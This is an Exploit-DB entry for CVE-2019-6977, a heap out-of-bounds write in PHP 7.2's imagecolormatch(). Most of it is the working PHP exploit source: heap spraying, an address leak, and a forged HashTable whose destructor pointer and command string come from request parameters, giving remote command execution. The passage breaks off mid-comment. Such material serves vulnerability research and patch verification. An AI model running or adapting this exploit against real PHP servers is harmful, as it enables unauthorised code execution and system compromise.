Exploit-DB #46677
Description: PHP 7.2 - 'imagecolormatch()' Out of Band Heap Write
Type: remote
Platform: php
Date: 2019-02-27
Author: cfreal

Exploit:
<?php
# imagecolormatch() OOB Heap Write exploit
# https://bugs.php.net/bug.php?id=77270
# CVE-2019-6977
# Charles Fol
# @cfreal_
#
# Usage: GET/POST /exploit.php?f=<system_addr>&c=<command>
# Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi
#
# Target: PHP 7.2.x
# Tested on: PHP 7.2.12
#

/*

buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);

	for (x=0; x<im1->sx; x++) {
		for( y=0; y<im1->sy; y++ ) {
			color = im2->pixels[y][x];
			rgb = im1->tpixels[y][x];
			bp = buf + (color * 5);
			(*(bp++))++;
			*(bp++) += gdTrueColorGetRed(rgb);
			*(bp++) += gdTrueColorGetGreen(rgb);
			*(bp++) += gdTrueColorGetBlue(rgb);
			*(bp++) += gdTrueColorGetAlpha(rgb);
		}

The buffer is written to by means of a color being the index:
color = im2->pixels[y][x];
..
bp = buf + (color * 5);

*/

#
# The bug allows us to increment 5 longs located after buf in memory.
# The first long is incremented by one, others by an arbitrary value between 0
# and 0xff.
#

error_reporting(E_ALL);
define('OFFSET_STR_VAL', 0x18);
define('BYTES_PER_COLOR', 0x28);


class Nenuphar extends DOMNode
{
	# Add a property so that std.properties is created
	function __construct()
	{
		$this->x = '1';
	}

	# Define __get
	# => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS
	# => zend_object_properties_size() == 0
	# => sizeof(intern) == 0x50
	function __get($x)
	{
		return $this->$x;
	}
}

class Nenuphar2 extends DOMNode
{
	function __construct()
	{
		$this->x = '2';
	}

	function __get($x)
	{
		return $this->$x;
	}
}

function ptr2str($ptr, $m=8)
{
	$out = "";
    for ($i=0; $i<$m; $i++)
    {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

function str2ptr(&$str, $p, $s=8)
{
	$address = 0;
	for($j=$p+$s-1;$j>=$p;$j--)
	{
		$address <<= 8;
		$address |= ord($str[$j]);
	}
	return $address;
}

# Spray stuff so that we get concurrent memory blocks
for($i=0;$i<100;$i++)
	${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
for($i=0;$i<100;$i++)
	${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);

#
# #1: Address leak
# We want to obtain the address of a string so that we can make
# the Nenuphar.std.properties HashTable* point to it and hence control its
# structure.
#

# We create two images $img1 and $img2, both of 1 pixel.
# The RGB bytes of the pixel of $img1 will be added to OOB memory because we set
# $img2 to have $nb_colors images and we set its only pixel to color number
# $nb_colors.
#
$nb_colors = 12;
$size_buf = $nb_colors * BYTES_PER_COLOR;

# One pixel image so that the double loop iterates only once
$img1 = imagecreatetruecolor(1, 1);

# The three RGB values will be added to OOB memory
# First value (Red) is added to the size of the zend_string structure which
# lays under buf in memory.
$color = imagecolorallocate($img1, 0xFF, 0, 0);
imagefill($img1, 0, 0, $color);

$img2 = imagecreate(1, 1);

# Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0
# which puts buf in 0x200 memory blocks
for($i=0;$i<$nb_colors;$i++)
	imagecolorallocate($img2, 0, 0, $i);

imagesetpixel($img2, 0, 0, $nb_colors + 1);

# Create a memory layout as such:
# [z:   zend_string: 0x200]
# [x:   zend_string: 0x200]
# [y:   zend_string: 0x200]
$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);

# Then, we unset z and call imagecolormatch(); buf will be at z's memory
# location during the execution
# [buf: long[]     : 0x200]
# [x:   zend_string: 0x200]
# [y:   zend_string: 0x200]
#
# We can write buf + 0x208 + (0x08 or 0x10 or 0x18)
# buf + 0x208 + 0x08 is X's zend_string.len
unset($z);
imagecolormatch($img1, $img2);

# Now, $x's size has been increased by 0xFF, so we can read further in memory.
#
# Since buf was the last freed block, by unsetting y, we make its first 8 bytes
# point to the old memory location of buf
# [free:             0x200] <-+
# [x:   zend_string: 0x200]   |
# [free:             0x200] --+
unset($y);
# We can read those bytes because x's size has been increased
$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;

# Reset both these variables so that their slot cannot be "stolen" by other
# allocations
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);

# Now that we have z's address, we can make something point to it.
# We create a fake HashTable structure in Z; when the script exits, each element
# of this HashTable will be destroyed by calling ht->pDestructor(element)
# The only element here is a string: "id"
$z = 
	# refcount
	ptr2str(1) .
	# u-nTableMask meth
	ptr2str(0) .
	# Bucket arData
	ptr2str($z_address + 0x38) .
	# uint32_t nNumUsed;
	ptr2str(1, 4) .
    # uint32_t nNumOfElements;
	ptr2str(1, 4) .
	# uint32_t nTableSize
	ptr2str(0, 4) .
	# uint32_t nInternalPointer
	ptr2str(0, 4) .
	# zend_long nNextFreeElement
	ptr2str(0x[PII_REDACTED]424242) .
	# dtor_func_t pDestructor
	ptr2str(hexdec($_REQUEST['f'])) .
	str_pad($_REQUEST['c'], 0x100, "\x00") .
	ptr2str(0, strlen($y) - 0x38 - 0x100);
;

# At this point we control a string $z and we know its address: we'll make an
# internal PHP HashTable structure point to it.


#
# #2: Read Nenuphar.std.properties
#

# The tricky part here was to find an interesting PHP structure that is
# allocated in the same fastbins as buf, so that we can modify one of its
# internal pointers. Since buf has to be a multiple of 0x28, I used dom_object,
# whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just
# one extra method, __get().
# php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type));
# Since we defined a __get() method, zend_object_properti